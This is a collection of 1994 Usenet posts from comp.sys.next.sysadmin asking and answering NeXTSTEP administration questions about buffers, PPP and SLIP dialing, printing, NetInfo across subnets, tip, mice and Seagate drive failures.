I've been trying to boost my disk performance a bit, so I thought increasing
the number of buffers on my 32mb system might help a bit.
After checking the FAQ, I tried sd()mach_kernel nbuf=128 from the NS/i
boot program.
This gives me the startup mesasge "using 128 buffers containing .63
megabytes of memory," which is the same amount it normally uses with 64
buffers.
Is there a command to increase the SIZE of the buffers? I didn't see
anything along those lines in the FAQs...
Thanks!
Mark Schwettmann
schwett@netcom.com
Newsgroups: comp.sys.next.sysadmin
From: jlu@cs.umr.edu (Eric Jui-Lin Lu)
Subject: [HELP] autonfsmount on NS3.2
Date: Sun, 3 Jul 1994 22:14:03 GMT
Organization: University of Missouri-Rolla, Missouri's Technological University
Sender: cnews@umr.edu (UMR Usenet News Administration)
Message-ID: <1994Jul3.221403.12012@umr.edu>
--
***************************************--- Grad. student ---*
* Obviousness is always the enemy of * \ Jui-Lin Lu (Eric) / *
* correctness. -- Bertrand Russell * / jlu@cs.umr.edu \ *
***************************************--- Univ. of Missouri-Rolla ---*
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: root@net23.com (Operator)
Subject: Re: default shell on NS 3.2
References: <2uuqqk$ok3@transfer.stratus.com> <2uvni8$efn@master.cs.rose-hulman.edu>
Sender: news@spcuna.spc.edu (Network News)
Organization: Misconfigured client newsreader
Date: Mon, 4 Jul 1994 05:38:33 GMT
Message-ID: <CsEICA.Bqw@spcuna.spc.edu>
Dauphin (root@Carovigno.student.rose-hulman.edu) wrote:
: [ stuff about putting tcsh in /bin deleted ]
: Also try putting it in /etc/shells. I believe the WorkSpace manager checks that file also.
This isn't true.
I run /home/info/menu as a shell for my "info" login and it isn't in
/etc/shells or in netinfo
So there!
--
Nick Jarecki | Network 23 - InterNet Services Provider
razor@net23.com | (shell,FTP,WWW) in the New York/Metro area
Voice: [917-424-8806] | Email "info@net23.com"
Ask me about our Hamburgers | Telnet to net23.com, login:info
To access our REVOLUTIONARY WWW server, point your client to http://net23.com
From: richard@runner.uucp@usc.edu (Richard Ruth)
Newsgroups: comp.sys.next.hardware,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.marketplace
Subject: Re: WANTED: NeXT mouse (black) or part (switch).
Followup-To: comp.sys.next.hardware,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.marketplace
Date: 3 Jul 1994 11:25:22 -0700
Organization: runner
Message-ID: <2v6vqi$a6v@runner.uucp>
References: <2uvibq$hg6@alf.uib.no>
Thor Legvold (edmtl@alf.uib.no) wrote:
: My original NeXT mouse just died (and I noticed how it is just about
: _impossible_ to use a NeXT without a mouse...shorting the switch
: manually everytime I needed a 'click') and I need either:
: a. a new NeXT mouse.
: b. a used NeXT mouse
: c. a microswitch (the factory one is: 1668RAE D2F-01, made by Omron, Japan)
: d. suggestions (maybe other third party mice will work?)
I need to know about a replacement mouse, too. Please post (or e-mail me) the results
thanks
--
Richard
richard%runner.uucp@usc.edu
(ok to send NeXT Mail)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.hardware
From: root@net23.com (Operator)
Subject: Problems with Cables.app
Sender: news@spcuna.spc.edu (Network News)
Organization: Misconfigured client newsreader
Date: Mon, 4 Jul 1994 07:01:42 GMT
Message-ID: <CsEM6v.DrB@spcuna.spc.edu>
Hi.
I'm running Cables.app on NS/FIP 3.2 and I am having a slight problem
which makes it unusable
The Shift-Numerals don't work (ie: "!, @, #, $, etc.)
What's wrong???
--
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razor@net23.com | (shell,FTP,WWW) in the New York/Metro area
Voice: [917-424-8806] | Email "info@net23.com"
Ask me about our Hamburgers | Telnet to net23.com, login:info
To access our REVOLUTIONARY WWW server, point your client to http://net23.com
From: E1140090@bcit.bc.ca
Newsgroups: comp.sys.next.sysadmin
Subject: PPP configuration problems
Date: 4 Jul 1994 07:22:23 GMT
Organization: The University of British Columbia
Distribution: world
Message-ID: <2v8dbf$3a4@nntp.ucs.ubc.ca>
Keywords: PPP
I am trying to use the Alby-NeXT-PPP.0.3 package. I can get the modem
to dial, but when the NeXT is booting, I get an error about "LOCAL"
not being valid. Although the thing seems to link to the kernal fine
other than that error. I have tried to decipher what's suppoesed to
happen, but I can't get PPP to work. (Trying to connect to an Annex
server)
Thanx.
Jason R.
E1140090@bcit.bc.ca
-- NewsGrazer, a NeXTstep(tm) news reader, posting --
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Newsgroups: comp.sys.next.sysadmin
From: Robert La Ferla <Robert_La_Ferla@hot.com>
Subject: Re: HELP: "You don't exist. Go away."
Message-ID: <1994Jul4.055731.238@hot.com>
Sender: robertl@hot.com (Robert La Ferla)
Organization: Hot Technologies
References: <1994Jun30.040243.12530@nntpxfer.psi.com>
Date: Mon, 4 Jul 1994 05:57:31 GMT
BTW - Applications written using Hot Technologies' SerialPortKit don't
require "setuid root". It is potentially a security hole especially
now with Distributed Objects APIs. Write to info@hot.com for more
information on our serial communications object framework.
Robert La Ferla
Hot Technologies
In article <1994Jun30.040243.12530@nntpxfer.psi.com> bnh@active (Brian
Hess) writes:
> Tod McQuillin (mcquill@next.duq.edu) wrote:
> : In article <2uq6i5$mf2@senator-bedfellow.MIT.EDU>,
> : Lones A. Smith <lones@lones.mit.edu> wrote:
> : > My talk works fine under root, but fails under my user name.
>
> : No, it's not a NeXT thing, it's a Unix thing. talk gives you this
> : when there's no entry for your login name in /etc/utmp.
>
> And that, in turn is probably because your terminal program is not
> being allowed to update the file. We tell people to log in as root,
> and:
> chmod 4555 communicae
> chown root.wheel communicae
> in our installation instructions; the same exercise can be applied to
> any other terminal program, e.g. "chmod 4555 Stuart.app/Stuart".
> If you're using Terminal.app, make sure that if you do "ls -l
> /NextApps/Terminal.app" that you see "root" as the owner and that the
> "s" bit in the permissions is turned on for the Terminal binary
itself.
>
> (N.B. This means you must trust your terminal program to turn on/off
> its root access solely for those portions of the code that need it,
like
> modifying this file and also /usr/adm/wtmp.)
>
> Hope this helps,
> Brian Hess
> Active Ingredients, Inc.
> bnh@active.com
Newsgroups: comp.sys.next.sysadmin
From: smorris@tuzo.erin (Stephen Morris)
Subject: Mixed network: losing connection repeatedly
Message-ID: <Cs6GHL.ro@credit.erin.utoronto.ca>
Sender: news@credit.erin.utoronto.ca (Usenet News)
Organization: Erindale College, University of Toronto, Canada
Date: Wed, 29 Jun 1994 21:17:44 GMT
greetings
I have an odd printer problem: I share a printer which is
connected to an HP workstation. I set the printcap of my NS/i
486 to get to it, using niload according to the instructions for
mixed networks. Everything works fine. For a while.
Then the print jobs start hanging in queue at the "printing" stage
and the lpd-errs file shows a string of:
Jun 28 13:40:40 thinman lpd[3034]: CMPprinter: lost connection
Jun 28 13:40:40 thinman lpd[3034]: restarting CMPprinter
over and over, once per second ... eventually filling up the disk
if you don't yank the job off the queue.
Here is the printcap: swelter is the remote machine.
CMPprinter: \
:lp=:rm=swelter.physics:rp=lj:sd=/usr/spool/NeXT/CMPprinter:\ : \
:note=CM group printer in room 087: \
:ty=HP_LaserJet_4_PostScript_600DPI:nxformat=:
It appears that once the connection is lost, no amount of retrys ever
restores it and the thing bounces forever.
Any suggestions?
S. Morris
U Toronto Physics
Newsgroups: comp.sys.next.sysadmin
From: sjones@netcom.com (Scott M. Jones)
Subject: Re: HERE'S HOW: Standalone SLIP in 11 Easy Steps
Message-ID: <sjonesCsFDAo.4Gy@netcom.com>
Organization: NETCOM On-line Communication Services (408 261-4700 guest)
References: <damonc.35.2E02F69C@hookup.net> <sjonesCs4ozz.Iww@netcom.com> <sjonesCsC2F7.Eyo@netcom.com>
Date: Mon, 4 Jul 1994 16:47:12 GMT
Scott M. Jones (sjones@netcom.com) wrote:
: Thanks to those who wrote with advice. robert@amo.mit.edu sent me a copy
: of his supra dial script, which fixed everything (except for a screwup
: of mine in pni0.config...). If you'd like a copy of this script, Email
: me at scott@atlanta.com.
Someone asked me to post a summary of the changes.
dial-supra.tcl is adapted from dial-zyxel.tcl:
1. At the top, change "proc dial-zyxel" to "proc dial-supra". You might
want to change the other instances of "zyxel"/"ZyXEL" to "supra"/"Supra"
for completeness.
2. Comment out the part that requests the modem version ("ATI" command
and the code below that references "$version").
3. Comment out the "set setupstr" part and add:
set setupstr {Z &K3 N1 M1 V1 Q0 &C1 &D3 N1}
I put in the 'Z' to erase something that NxFax does that prevents the
modem from connecting above 9600 baud. You can take it out if you wish
(speeds up the dial process a tad).
4. The tabs got changed to spaces when the script was E-mailed. This
probably doesn't make any difference.
5. "NO DIAL TONE" is changed to "NO DIALTONE".
--
-----
Scott M. Jones Atlanta, GA, USA
sjones@netcom.com
scott@atlanta.com <---NeXTmail accepted here
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: Nghiem_Alex@pcp.ca (Alex Nghiem)
Subject: netcom as a provider
Message-ID: <1994Jul4.170106.10929@pcp.ca>
Keywords: netcom, service
Sender: news@pcp.ca
Organization: PanCanadian Petroleum Ltd.
Date: Mon, 4 Jul 94 17:01:06 GMT
Group:
I'm considering using NETCOM as an e-mail provider and would like to know
if anyone out there would like to share their experiences. I would like to
know the following:
1. How good is the tech support, i.e, how fast is the turnaround time if
there's a problem?
2. Does the service provide domain name registration? Their brochure
claims so but has anyone out there succeeded with this?
3. Does NETCOM support NeXTMail? This may be a naive question but I just
wanted to make sure.
I currently use UUNET and am quite satisfied except for the high costs.
Netcom seems to provide the same service at a lower cost.
Please e-mail me and I'll summarize if there's interest.
Thanks,
Alex
Nghiem_Alex@pcp.ca (until July 22nd)
alex@oolesson.com (always)
From: bud@slip4.weeg.uiowa.edu (Jeff Fields)
Newsgroups: comp.sys.next.sysadmin
Subject: canon input overrun error...Help.
Date: 4 Jul 1994 18:00:31 GMT
Organization: INS Info Services
Distribution: world
Message-ID: <2v9inv$fv0@insosf1.infonet.net>
Greetings. I hope that there are some gurus out there; I've got a problem.
After logging in to my 040 Cube these days, I notice that there is a
constant 50% CPU load(approximately), and my disk is thrashing almost
non-stop. Checking the console reveals that it is scrolling with hundreds
of error messages liek this:
tty2816: canon input overrun
last message repeated 81 times
The number of times that the message is repeated varies; other than that,
it's the same thing, over and over.
The only other clue I have is that the syslogd seems to be eating a lot of
CPU; probably from loging the above error message.
Can anyone help?
Jeff Fields
University of Iowa
From: hickman@cse.unl.edu (Hubert B Hickman)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: MicroSoft Mouse 2.0A trouble
Date: 4 Jul 1994 18:11:56 GMT
Organization: University of Nebraska--Lincoln
Distribution: world
Message-ID: <2v9jdc$si1@crcnis1.unl.edu>
References: <2v2h3s$8at@eps.com>
steve@eps.com (Steven Kornreich) writes:
>I've been having a strange problem with my MicroSoft mouse. It seems to
>have a mind of it's own.. The pointer on the screen seems to move by
>itself.Ie.. If I leave the pointer by the top of the screen, it will
>quickly fly down to the bottom. I tried a new mouse and still having the
>same problem. Any ideas...?
>--
>Steven Kornreich
>Kornreich Communications
>NeXTmail OK
I had this same problem with my Gateway P5-90. It was solved by replacing
the the mouse with a Logitech Bus Mouse.
Hubert Hickman
hubert@hksys.com
From: mike@dannug.dk (Michael Zedeler)
Newsgroups: comp.sys.next.sysadmin
Subject: tip and dial-up remotes
Date: 4 Jul 1994 17:08:06 GMT
Organization: Danish NeXT User Group
Distribution: world
Message-ID: <2v9flm$at@nexia.dk>
Hi.
I am trying to convice 'tip' to dial-up a certain number. The entries in
/etc/remote are:
cufa38400|comm|Dial-out on cufa at 9600 baud:\
:dv=/dev/cufa:br#38400:tc=BASIC:at=hayes:
gorm|RUNet:\
:pn=45871777:dv=/dev/cufa:br#38400:tc=cufa38400:at=hayes:du:
The entry 'gorm' doesn't seem to work, what happens when I write 'tip
gorm' from the terminal is:
nexia> tip gorm
dialing...
NO CARRIER
call failed
[EOT]
nexia>
I am running tip on a black station, NS 3.2, along with a ZyXEL 1496E+
modem. What seems bizarre is that when I lift the handset of my phone, I
can hear that the modem actually does dial the correct number. Have you
got any suggestions how to make this work?
Mike.
--
Michael Zedeler, Roskilde University, Member of Danish NeXT U. G.
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From: yf5990@u.cc.utah.edu (Yan Fang)
Newsgroups: comp.sys.next.sysadmin
Subject: Need PNI login script for dynamic IP addressing
Date: 4 Jul 1994 12:40:31 -0600
Organization: University Of Utah Computer Center
Message-ID: <2v9l2v$gdm@u.cc.utah.edu>
Hi there.
I used to have a login script that allowed my PNI software to listen to
the cisco router at the Univ. of Utah and retrieve an IP address that
was allocated dynamically. I've lost it, and after days of trying to
hack up a new one, I've thrown in the towel.
If you have a working login script for a cisco that retrieves an IP
address, please forward it (sans passwords, etc.) to
yf5990@u.cc.utah.edu.
Thanks!
................................kris
From: takken@leland.stanford.edu (Todd Takken)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: netinfo between different subnets
Date: 4 Jul 1994 19:16:21 GMT
Organization: Stanford University
Distribution: world
Message-ID: <2v9n65$l2g@nntp2.Stanford.EDU>
References: <2v1jsc$46c@rosie.next.com>
In article <2v1jsc$46c@rosie.next.com> majka@next.com (Marc Majka) writes:
> > How do I have a client NeXT computer bind to a netinfo server in
> > another internet subnet?
> If you want the local domain of a computer on one
> subnet to be able to bind to a parent server running on a computer on
> another subnet, then all you need to do is to tell the child how to
> contact that parent. If, for example, you want the local domain to be
> able to bind to "network" at polaris, then all you need do is add
> /machines/polaris to the local domain:
>
> name: polaris
> ip_address: 129.18.2.7
> serves: ../network
> Marc Majka
> NeXT Computer
I did this (using my server's own name, since it isn't called polaris)
using NetInfoManager on the client. During the client's boot process, I
still get error messages saying "Could not connect to netinfo domain
server". I have unchecked the boxes on both server and client that say
"limit ability to read administrative data to local network" and have
rebooted both machines after unchecking these boxes. Is there some other
security protection which is preventing my server from hearing the
client's broadcast?
-- Todd Takken
takken@leland.stanford.edu
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: netinfo between different subnets
Date: 4 Jul 1994 19:37:42 GMT
Organization: University of Illinois at Urbana
Message-ID: <2v9oe6$bad@vixen.cso.uiuc.edu>
References: <2v1jsc$46c@rosie.next.com> <2v9n65$l2g@nntp2.Stanford.EDU>
takken@leland.stanford.edu (Todd Takken) writes:
>server". I have unchecked the boxes on both server and client that say
>"limit ability to read administrative data to local network" and have
>rebooted both machines after unchecking these boxes. Is there some other
>security protection which is preventing my server from hearing the
>client's broadcast?
I haven't experimented with this, but maybe once you check those
boxes that limit access to netinfo, it creates the trusted_networks
properties, and they aren't deleted when you simply uncheck the
boxes. Do a:
niutil -read / /
on your server and see if you have something like:
master: localhost/network
trusted_networks: (<your IP address>)
If so, say:
niutil -createprop / / trusted_networks "<your IP address> <client IP address>"
Refer to the Security chapter in the Network & Sysadmin Book for
more specifics on the trusted_networks property.
--
David Lemson
University of Illinois Computing & Comm Services Office System Administrator
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: klingler@unm.edu (Dave "CIRT Boy" Klingler)
Newsgroups: comp.sys.next.hardware,comp.sys.next.bugs,comp.sys.next.sysadmin
Subject: Re: Probs with Seagate & NS = Panic's
Date: 4 Jul 1994 13:40:00 -0600
Organization: University of New Mexico, Albuquerque
Message-ID: <2v9oig$1qr5@argo.unm.edu>
References: <Cs8zyL.8BG@softpac.com.au>
Keywords: seagate, problem,panic
In article <Cs8zyL.8BG@softpac.com.au>,
Dave THOMAS <dave@softpac.com.au> wrote:
>We are having problems with Seagate drives, which we now suspect may be
>related to the NeXTSTEP operating environment. It seems only to occur with
>certain drives, not all. We have checked out different revisions of
>firmware, different controllers and are unable to find any problem with
>these or the drives, except when we load NeXTSTEP. Is there a known
>problem with Seagate Drives? What do the error messages actually mean?
>
I've been tearing my hair out trying to get an ST11200N working on my cube.
I've tried all three termination options, active termination, and disabling
parity. I'd be happy to get some answers, too.
The error messages basically mean that the drive is not working on your system.
You have some corrupted files that the system needs in order to boot. The
file system on my drive (and I think you have the same problem) gets corrupted
on the fly. I don't have any great suggestions, except that you can't trust
those systems until you get the problem licked. Please let me know if you do.
Dave
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